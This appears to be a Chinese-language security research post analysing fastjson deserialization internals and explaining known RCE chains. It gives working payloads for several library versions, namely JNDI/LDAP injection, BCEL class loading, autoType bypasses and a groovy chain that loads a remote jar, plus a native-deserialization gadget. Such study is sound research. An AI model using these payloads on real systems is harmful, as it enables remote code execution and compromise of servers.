java反序列化之fastjson

引用

fastjson

FastJson<=1.2.68RCE原理详细分析

fastjson 1.2.80 漏洞浅析及利用payload

FastJson与原生反序列化

FastJson与原生反序列化(二)

前言

maven依赖:https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.24

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

FastJSON 在序列化时,利用 Java 的反射机制,通过调用 JavaBean 的 getter 方法获取属性值。

在反序列化时,FastJSON 通过无参构造方法创建对象,并利用 setter 方法设置属性值

基础流程分析

JSONObject是一个Map类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class JSONUnser{
public static void main(String[] args) throws Exception{
String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
//使用 fastjson 的 JSON.parseObject 方法将JSON字符串 s 解析为一个 JSONObject 对象
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
System.out.println(jsonObject.get("param1"));
}
}

通过上述代码可以初步了解到fastjson的作用

Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;

public class Person {
private int age;
private String name;
public Person(){
System.out.println("Person constructor");
}
public int getAge(){
System.out.println("getAge");
return age;
}
public void setAge(int age){
System.out.println("setAge");
this.age = age;
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class JSONUnser{
public static void main(String[] args) throws Exception{
String s = "{\"age\" : 18, \"name\" : \"Sherlock\"}";
Person person = JSON.parseObject(s, Person.class);
System.out.println(person.getName());
}
}

上述的代码把json字符串解析为了一个java对象,然后我们还可以正常调用它的方法,在这个过程中调用了哪些方法,如下所示:

image-20250214105142574

可以看到除了最后我们自己调用的getName方法外,系统会自动调用setter方法给对象进行赋值

再来一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class JSONUnser{
public static void main(String[] args) throws Exception{
//通过@type字段指定一个类,让字符串根据它来进行解析
String s = "{\"@type\" : \"org.example.Person\", \"age\" : 18, \"name\" : \"Sherlock\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}

运行结果如下:

image-20250214110123660

从结果我们可以看出来,在这个过程中自动调用了构造方法,还有setter和getter方法来进行赋值和输出

上述代码通过我们输入的类的不同而会调用相对应的方法,这就是fastjson的一个功能

接下来我们来调试一下,探究这个过程

image-20250214110730026

跟进去

image-20250214201559789

我们再继续跟进parse方法中

image-20250214202001712

DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);

这段代码创建了一个 DefaultJSONParser 对象,用于解析 JSON 字符串。DefaultJSONParserfastjson 库中的一个核心类,负责将 JSON 字符串解析为 Java 对象

PS:对于token的初始化可以来到defaultJSONparser的构造函数来看

img

往下走到Object value = parser.parse();,开始进行解析字符串,跟进去

1
2
3
public Object parse() {
return this.parse((Object)null);
}

继续跟进去,该方法会对JSON字符串中的每一个字符都进行解析,如第一次就是对{进行解析

image-20250214202622519

1
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

没有传入lexer本身,或者是任何和我们json字符串内容相关的,断定反序列化还没进行,创建一个空的object用来后续装载生成的JSONObject对象

在下一行return代码中会调用接收Map的parseObject方法,这是最重要的地方,我们跟进去

一直往下走到这里

image-20250214203801240

该处代码用来跳过任意个逗号,不重要

往下走定义了一个key变量,用于存放json中的键名

if做判断,当前是双引号,于是进行操作读取两个双引号之间的内容

image-20250214204259038

获取到key之后向下走,来到了对key的判断

这里把代码块收起来方便做一个宏观的分析

如果key的值是@type,即我们当前的情况

走进第一个if代码块

image-20250214204633573

展开分析可以发现有一行代码中有loadClass,跟进去看看

image-20250214204809349

首先会从mappings缓存中查找class,找到了就直接返回了

没找到的话先根据className进行类特殊性检验,如[开头就意味着是数组类,则返回Array对象,如果是L开头;结尾的类数组写法,则去掉首位,再调用loadClass(forName支持对数组的类加载loadClass不支持)

之后就是简单的调AppClassLoader在本地加载类,加入缓存,返回

image-20250214205359100

继续往下跟,来到这个地方,

出现了我们一开始传入的空的object,

实际上每一轮循环加载完一对key和value就会往object内存入

第一轮尚未结束,没存入任何的东西所以这里还是暂时跳过

img

下方来到最关键的一部分

是真正开始fastjson反序列化流程的一部分

从config中获取一个反序列化器,紧接着通过这个反序列化器进行反序列化

image-20250214205706924

我们跟进去看反序列化器是怎么获取到的

image-20250214210347606

先从缓存表中获取derializer

ps:在ParseConfig的构造函数中将许多内置类put进了缓存中,但是显然我们这个Person类是不在的

image-20250214210554092

我们继续往下走,走到下面这步时跟进去

image-20250214210652313

往下走,来到一处代码块,若在被序列化的类上面使用了@JSONType注解,则会走进这里面的获取反序列化器的逻辑进行操作

等于说是用户自定义了一个反序列化器

image-20250214210810735

继续往下走到一处黑名单,仅仅是禁了一个Thread类而已

image-20250214211047139

继续往下走

之后便是一堆的判断,判断类是否为某个包下的然后对应进行处理

img

一路skip过去,来到了创建JavaBeanDeserializer,顾名思义,应该是生成一个JavaBean的反序列化解析器

image-20250214211355977

我们跟进去,开头定义了asmEnable的值默认为true

image-20250214211609179

继续往下看,几种情况下asmEnable会变为false

父类标识符为非public

img

泛型类型参数不为0

(如UserImpl<T,U>的返回结果就是2,UserImpl<T>的返回结果就是1)

img

class是否使用ExtClassLoader类加载器

img

这里稍微进isExternal分析一下

while循环一轮过后,current为ASMClassLoader的父类加载器,即AppClassLoader

假如说这里的clazz的类加载器classLoader是ExtClassLoader,为拓展库的类,则会返回true

但是UserImpl显然是应用程序的类,其类加载器也应为AppClassLoader

img

出来后继续往下走,发现还有一部分的能让asmClassLoader为false的地方

比较简单就不一一列举了

继续往下走,有一行JavaBeanInfo.build()方法的调用,主要就是返回bean的一些属性包括属性名,方法名,getter,setter等

image-20250214212037925

我们跟进去,首先获取类的属性,public的方法,构造方法等

image-20250214212448843

313行开始,将for代码块收起来,宏观上分为三部分

第一部分,遍历所有的public方法,目的是为了获取你的所有字段

第二部分,遍历所有public的属性,上面我们的Person类属性都是private的,所以相当于没有

第三部分,再次遍历所有的public方法

(实际上第一次遍历是调所有的setter,第二次遍历是调所有的getter)

image-20250214212827825

ok,我们先进入第一个for循环中

先进行判断:方法名长度是否大于4,是否是静态方法以及返回值是否为Void或者Person类本身

image-20250214214043723

最开始是getName,不满则条件,跳过

直到setName方法时,进入if从句

往下走规定方法要以set开头才能进入if从句中

image-20250214214744903

继续往下走,将setter对应的property全部字符转小写,Name变为name

image-20250214214846617

往后一直走,通过setter操作遍历完field过后,将结果保存到fieldList

image-20250214215553265

跟进FieldInfo,库库步过,直到下面这个比较重要的变量getOnly

image-20250214215731662

这里先不赘述了,先埋一个伏笔

add方法就是将结果放到fieldList中

setter都遍历完之后,开始遍历所有的public字段

对field的遍历过程比较简单,不做详细描述了

往下到getter的遍历,前面的if判断和setter遍历是相似的,直到这一部分if判断代码

1
&& (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

只有当getter的返回值满足这个if中的Collection、Map等,才能进入到代码中走到最后的add

也就是说才能被当做一个property被加入到fieldList中

同时还需要满足fieldList中不包含这个字段,也就是说要是前面seteer方法将某个字段加入了fieldList中后,就不会再通过getter方法加入了

image-20250216160539589

在这里我们肯定都是不满足的,所以都会跳过,走到最后一行return的代码处,将前面遍历的字段还有方法之类的封装起来

image-20250216160857097

走出来后,能在beanInfo中看到刚刚封装好的字段

image-20250216161140301

在下面一部分代码中还有好几种方法可以使得asmEnable的值为false

image-20250216161513475

上面多次提到asmEnble这个开关,那么它的作用究竟是什么呢

往下走之后,紧接着就走到一个if判断

如果asmEnable是默认的true的话,那么不会走到new JavaBeanDeserializer,而是会返回一个asmFactory的创建反序列化器的方法

image-20250216162435552

返回后我们可以看到反序列化器是成功创建了出来

image-20250216162627119

但是这样的类有什么不好的地方呢,就是临时创建的类在调试过程中发现根本不清楚这个过程做了什么,调用栈上虽然有,但是点击并没有任何的反应

因此如果想要调试我们只能让asmEnable为false,然后new JavaBeanDeserializer来创建一个反序列化器

在上面的伏笔中中,存在通过判断字段是否getOnly来关闭asmEnable

image-20250216163527235

也就是只要字段getOnly为true使得asmEnable为false,那么我们就不会像刚才那样返回一个asmFactory的创建反序列化器的方法,而是走到new JavaBeanDeserializer,这样子我们就可以好好地进行调试了

那么getOnly的值只有在下面这一处可以改

image-20250216164050408

FieldInfo中的getOnly处,判断方法的参数是否为1,不是的话getOnly就为true

然后在前面的setter方法的循环中,我们可以看到要是参数值不为1的话会直接跳出循环,都走不到add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));处,自然也就修改不了getOnly的值

image-20250216165231488

因此我们只能够通过getter方法来进行修改,也就是通过一个对象,与其对应的只有一个getter(如果有setter会优先调用setter而不会调用getter)

但是上面分析过了调用这个getter需要getter的返回值满足那几种类型(Collection、Map等),但是问题不大,Person类修改为如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.example;

import java.util.Map;

public class Person {
private int age;
private String name;
private Map map;
public Person(){
System.out.println("Person constructor");
}
public int getAge(){
System.out.println("getAge");
return age;
}
public void setAge(int age){
System.out.println("setAge");
this.age = age;
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public Map getMap(){
System.out.println("getMap");
return map;
}
}

修改完后我们重新调试一下

image-20250216170235499

成功修改

image-20250216170607224

成功关掉开关,于是我们返回的就是一个JavaBeanDeserializer

image-20250216170640421

于是我们也就能正常地进行调试了(上面忙活这么多就是为了能正常地调试)

这一次的derializer和上次的相比多了一个map字段

image-20250216171035377

然后获取到了之后我们就调用它的反序列化方法

image-20250216171214305

一直跟进deseralize方法

358行开始对每个字段遍历进行实例化赋值操作

image-20250216202643895

580行,步入createInstance方法

image-20250216203036623

该函数先进行一个判断是否是接口,是的话就生成一个代理;不是的话就调用其自己的默认构造函数来进行实例化,再return object回去

image-20250216203404076

继续往下走,走到setValue()处,开始给字段赋值了,这是最重要的一部分

image-20250216212944687

一路往下走,来到了一处反射,调用setter来完成赋值

image-20241027034134274

步过,控制台输出setName

image-20241027034354283

age的赋值同理,

至此一整个反序列化的流程结束

回到前面,成功拿到了Person对象

image-20250216214132318

在继续往下走的过程来到toJSON(),会调用getter

这个过程就是前面一步是把字符串转换为了对象,然后这一步是把对象转换为JSON字符串

我们跟进去,往下走到这一步

image-20250216220308621

该行代码会获取到一个与指定类clazz关联的对象序列化器

image-20250216220902886

往下走到这一步,跟进去

image-20250216220949521

会在这里获取值,跟进getPropertyValue方法里

image-20250216221034445

然后我们再跟进get方法

image-20250216221210505

在这里面会反射调用getter方法

image-20250216221300808

image-20250216221502021

到这里基本的流程差不多就结束

从上面我们可以得知在反序列化过程中会自动调用setter方法,也就是说我们只要有一个类,其中有一个setter方法中有危险函数,那么我们就可以实行攻击

修改一下Person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example;

import java.io.IOException;
import java.util.Map;

public class Person {
private int age;
private String name;
private Map map;
public Person(){
System.out.println("Person constructor");
}
public int getAge(){
System.out.println("getAge");
return age;
}
public void setAge(int age){
System.out.println("setAge");
this.age = age;
}
public String getName(){
System.out.println("getName");
return name;
}
public void setName(String name){
System.out.println("setName");
this.name = name;
}
public Map getMap(){
System.out.println("getMap");
return map;
}
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class JSONUnser{
public static void main(String[] args) throws Exception{
String s = "{\"@type\" : \"org.example.Person\", \"age\" : 18, \"name\" : \"Sherlock\", \"cmd\" : \"calc\"}";

JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}

执行后成功弹出计算器

1.2.24利用

JdbcRowSetImpl

在connect()方法下面存在明显的jndi注入

lookup的参数是通过getter来获取的

我们要怎么判断变量可控,就是变量要有对应的setter或者是public或者是满足条件的getter(具体可以去看JavaBeanInfo.java文件中的对应代码)

因此this.getDataSourceName()变量可控(由jndi相关知识可知这是一个地址),因为点进去下面就是对应的setter方法

接下来就继续往上找,找connect方法是否在getter或者setter中

image-20250219152601348

由上面逻辑调试中的分析,想调用getter有两种途径:

1、返回值规定的那些个getter才能被add到fieldList中后续被调用,但是这里的返回值DatabaseMetaData显然不符合要求

2、需要能走到toJSON,而走到toJSON需要保证到你这需要的getter之前的所有getter流程不抛出异常,能正常invoke

但是这里第一个方法就gg了没invoke成功

img

因此只能走setter,也就是setAutoCommit方法

image-20250219152801243

先开启LDAP服务器并在7777端口挂载好恶意类

image-20250219154605208

payload如下:

1
2
3
4
5
6
7
8
9
10
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:10389/cn=test,dc=example,dc=com\",\"AutoCommit\":false}";
JSON.parseObject(s);
}
}

测试,成功弹出计算器

image-20250219154316444

这条链由于是利用了jndi注入,所以会受到版本限制(jdk<8u191)、依赖限制,同时还需要出网才可以

bcel.ClassLoader(不出网)

image-20250219155527408

我们要利用的是该类中的loadClass方法,该方法中主要利用部分如下

image-20250219160928161

类名满足一定条件后会执行createClass方法生成类,然后再用defineClass方法进行字节码加载

我们先单纯利用该方法不涉及到fastjson来测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.nio.file.Files;
import java.nio.file.Paths;

public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\T.class"));
String str = Utility.encode(bytes,true);
str = "$$BCEL$$" + str;
classLoader.loadClass(str).newInstance();
}
}

运行后会成功弹出计算器,至于为什么代码中有一行encode呢,这是因为上面的createClass方法中会有一个decode方法,所以相应的我们就需要来个encode方法喽

image-20250219162222585

ok,接下来我们就要想办法调用到loadClass方法了

引入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

我们所找的类为BasicDataSource,所需要的方法为createConnectionFactory()

image-20250219193859684

我们可以知道该方法中通过forName函数来加载类,现在我们就要看driverClassName和driverClassLoader有没有对应的setter方法

(forName方法的底层就是调用loadClass方法)

image-20250219194226298

image-20250219194252023

两个变量都可控

现在我们再从createConnectionFactory()方法向上查找,看看会不会在setter或getter中

走到createDataSource(),再向上查找走到了getConnection()(还在同一个文件内)

image-20250219194648742

可以看到是一个getter方法,返回类型不满足那几种,所以就是在toJson方法中调用的getter方法

正向漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
        ClassLoader classLoader = new ClassLoader();

byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));

String str = Utility.encode(bytes,true);
// System.out.println(str);

str = "$$BCEL$$" + str;

BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassName(str);
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.getConnection();

验证时可以的,所以我们的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.nio.file.Files;
import java.nio.file.Paths;

public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new ClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\T.class"));
String str = Utility.encode(bytes,true);
str = "$$BCEL$$" + str;
// classLoader.loadClass(str).newInstance();
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\""+str+"\"}";
JSON.parseObject(s);
}
}

测试,成功弹出计算器

TemplatesImpl

实用价值不高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["字节码"],
'_name': 'a.b',
'_tfactory': {},
"_outputProperties": {},
"_name": "b",
"_version": "1.0",
"allowedProtocols": "all"
}
}

由于该类传入的参数好几个都没有对应的getter和setter方法,所以要利用它的话需要改配置

1
JSON.parseObject(s, Feature.SupportNonPublicField);

fastjson高版本绕过

fastjson<=1.2.47绕过

依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

我们用上之前的payload来运行的话便会直接报错如下:

image-20250219212541589

我们在最后一行打个断点调试一下

发现是在判断key值是否为@type之后做了一个checkAutoType的校验

image-20250219213200453

我们跟进这个函数看一看,一直往下走,会先从两个缓存(Mapping和deserializers)中进行加载

1
2
3
4
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

现在肯定是没有的,所以我们继续往下走,会直接被黑名单拦截

image-20250224164359679

黑名单如下:
image-20250224164507635

从头看该函数,只有通过了黑白名单的校验后才能继续到类加载

白名单默认是空的,所以显然走不到这里的类加载

image-20250224164815805

我们再往下看看别的能类加载的代码

image-20250224165001015

这是从缓存中的指定类中获取

如果缓存中没有的话,会继续从反序列化器中找

image-20250224165130728

进来看了下,也是从deserializer缓存中加载类

可以看都是从缓存中来加载类,那么我们就是要看看能不能向缓存类中添加一些我们的恶意类来进行绕过

查找对mapping进行put操作的部分,来到TypeUtil的loadClass()方法

于是我们查找该loadClass()的用法

在TypeUtil本类中的用法当然是派不上用场的

在checkAutoType()函数中调用,但是受限于if,都走不进去

image-20250224170951667

然后就是MiscCodec中的deserialize()中,当clazz为Class.class的时候,会将strVal放入loadClass中

image-20250224171124381

该部分位于deserializer()方法中,说明这东西和反序列化有关

注意MiscCodec实现了ObjectSerializer和ObjectDeserializer接口,所以这玩意本质上是一个序列化器反序列化器

image-20250224172018673

上文提到过反序列化器是从config中获取到的,这个config我们上文差不多分析过了,走进去底层实际上是在deserializer缓存里找class对应的键值对

如果我们反序列化的类是Class,那么就会调用MiscCodec的反序列化器

image-20250224172637413

所以在反序列化的时候走到deserializer()中就会调用MiscCodec的loadClass(),然后就会把我们传入的字符串传给loadClass()

因此一共是分为两步,第一步是先将我们的恶意类加载到缓存中,第二部是从缓存中查找我们的恶意类,从而绕过checkAutoType函数

payload:

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;

public class FastJsonBypass1 {
public static void main(String[] args) throws Exception {
//第一步,反序列化一个Class类,值为恶意类
//接着用之前的payload
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://localhost:10389/cn=test,dc=example,dc=com\",\"AutoCommit\":false}}";
JSON.parseObject(s);
}
}

至于为什么参数名要是val,见下图

image-20250224204130139

当第二次经过该函数的时候,可以直接从缓存中加载com.sun.rowset.JdbcRowSetImpl,从而绕过检测

image-20250224205250760

题外话:

实际使用fastjson1.2.47走到checkAutoType的时候会发现和1.2.25是不一样的

原先的denyLists黑名单变成了一个哈希表,主打的就是一个防止安全人员研究这玩意来进行绕过,,

但是在这个版本还是没防住通过向mappings添加类名来达到类加载的绕过

已破解开的黑名单哈希如下:https://github.com/LeadroyaL/fastjson-blacklist

fastjson<=1.2.68

在1.2.68版本用上以前的payload直接报错,调试一下看看是哪里出了问题

当走到MiscCodec.deserialize()中触发TypeUtils.loadClass()的地方加入了一个cache参数,默认为false

image-20250227163606703

跟进loadClass方法之后,我们可以明白只有当cache值为true的时候,才会向缓存中put一个新的类

现在说明这个方法是行不通的了,需要我们另寻他法

我们先来看一下通过checkAutoType()校验的方式有哪些:

  1. 白名单里的类
  2. 开启了autotype
  3. 使用了JSONType注解
  4. 指定了期望类(expectClass)
  5. 缓存在mapping中的类
  6. 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

我们这次用的就是第四种方式

checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()。

此外,由于checkAutoType()中黑名单的检测位于loadClass之前,所以不能在黑名单中,另外恶意类需要是expectClass的接口或是expectClass的子类。

我们查找把expectClass参数传递给checkAutoType()函数的利用类有两个:AutoCloseable类和Throwable类

AutoCloseable

先准备好我们需要的代码

EXP

1
2
3
4
5
6
7
8
9
package org.example;

import com.alibaba.fastjson.JSON;

public class AutoCloseableBypass {
public static void main(String[] args) {
JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.example.JavaBean\", \"cmd\":\"calc.exe\"}");
}
}

JavaBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.io.IOException;

public class JavaBean implements AutoCloseable{
public JavaBean(String cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void close() throws Exception {

}
}

测试之后成功弹出计算器,下面我们来自己进行调试看一下具体的过程

前面我们还是步入chechAutotype()方法,里面有一段代码是当expectClass不为空且不是那几个固定的类的时候会将expectClassFlag设为true,我们在第二次进入checkAutotype()方法的时候会用到

image-20250228205347243

接下来会进行黑白名单查询。首先进行内部白名单,之后及进行内部黑名单,由于内部黑名单为null故跳过

之后,如果非内部白名单并且开启autoTypeSupport或者expectClassFlag值为true时会进行黑白名单查找。首先在白名单内二分查找,如果在则加载后返回指定class对象,如果不在或者为空,会继续在黑名单中进行二分查找;若不在黑名单且getClassFromMapping返回值为null,就再在白名单查询,若为空则异常,否则continue

image-20250228205924477

一直往下走,最后返回接口AutoCloseable,从该方法出去

image-20250228210157982

出来一直往下走到这里,跟进去

image-20250228210600805

一直往下走,在deserialze()解析字段,当key=@type(第二个)时,调用checkAutoType()并传入expectClass

image-20250228211536282

第二次步入checkAutoType方法,这次参数typeNme的值为org.example.JavaBean,并且这一次成功将expectClassFlag赋值为true

继续往下走,这次会进入黑白名单检测

image-20250228212024129

经过这次检测后,下面由于autoTypeSupport值为false,所以要再来一次黑白名单检测

image-20250228212253035

之后resource将“.”替换为”/“得到路径,并且这里貌似有读文件的功能

image-20250228212347443

之后如果autoType打开或者使用了JSONType注解,又或者 expectClassFlag为true时,并且只有在autoType打开或者使用了JSONType注解时,才会将类加入到缓存mapping中。另外没使用JSONType注解不会返回

image-20250228212727281

继续往下走,但expectClass不为空的时候,会将类加入缓存后并返回

image-20250228213045335

出来后往下走到deserialze方法,由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用

image-20250228213322222

跟进该方法的话,一直往下走到生成新的对象的时候会弹计算器

image-20250228213724153

fastjson=1.2.80

groovy

在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAutoType

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Poc {
public static void main(String[] args) {
String json ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";

try {
JSON.parse(json);
} catch (Exception e) {
}
}

按之前调试步骤走,跟进checkAutoType函数中,从缓存中读取到了Expection类

image-20250301194330511

返回,往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器

image-20250301194630121

步入进deserialze方法,跳转到com/alibaba/fastjson/parser/ParserConfig.java(在下面生成exClass的时候跳转的)

image-20250301195743709

往下走,会进行黑白名单验证,不重要,继续往下走到

image-20250301201347823

跟进loadClass方法,可以加载处类,但由于cache值不为真所以不能put进缓存中,所以return回去

继续往下走,由于expectClass不为空,所以可以将clazz加入缓存中

image-20250301201732387

返回后,回到了com/alibaba/fastjson/parser/deserializer/ThrowableDeserializer.java,继续往下走

image-20250301202708732

跟进getDeserializer方法,往下走,每一次都会putDeserializer,可以向deserializers添加新数据

image-20250301202813613

第三次处理会加上org.codehaus.groovy.control.ProcessingUnit

image-20250301202913840

需要存在groovy链,这里测试版本使用如下版本

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.1</version>
</dependency>

jar包用的

1
https://github.com/Lonely-night/fastjsonVul

1.编译attack 模块为 attack-1.jar包

2.在attack-1.jar包所在的目录下执行启用http服务。

1
python -m http.server 8433

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Poc {
public static void main(String[] args) {
String json ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";

try {
JSON.parse(json);
} catch (Exception e) {
}

json =
"{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"http://127.0.0.1:8433/attack-1.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
JSONObject.parse(json);
}
}

基于java原生反序列化

fastjson<=1.2.48&fastjson2

具体的请参考原作者博客文章

依赖

1
2
3
4
5
6
7
8
9
10
    <groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.48</version>
</dependency>

看下来利用链其实不难:JSONArray.toString()->JSONArray.toJSONString()->getter

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "sherlock");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

至于为什么在1.2.49开始该种操作就不行了呢,这是因为从这个版本开始JSONArray以及JSONObject方法开始真正有了自己的readObject方法

image-20250302210436885

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

image-20250302210716963

fastjson1通杀

那么上面的限制我们要怎么突破呢

见原作者博客

依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

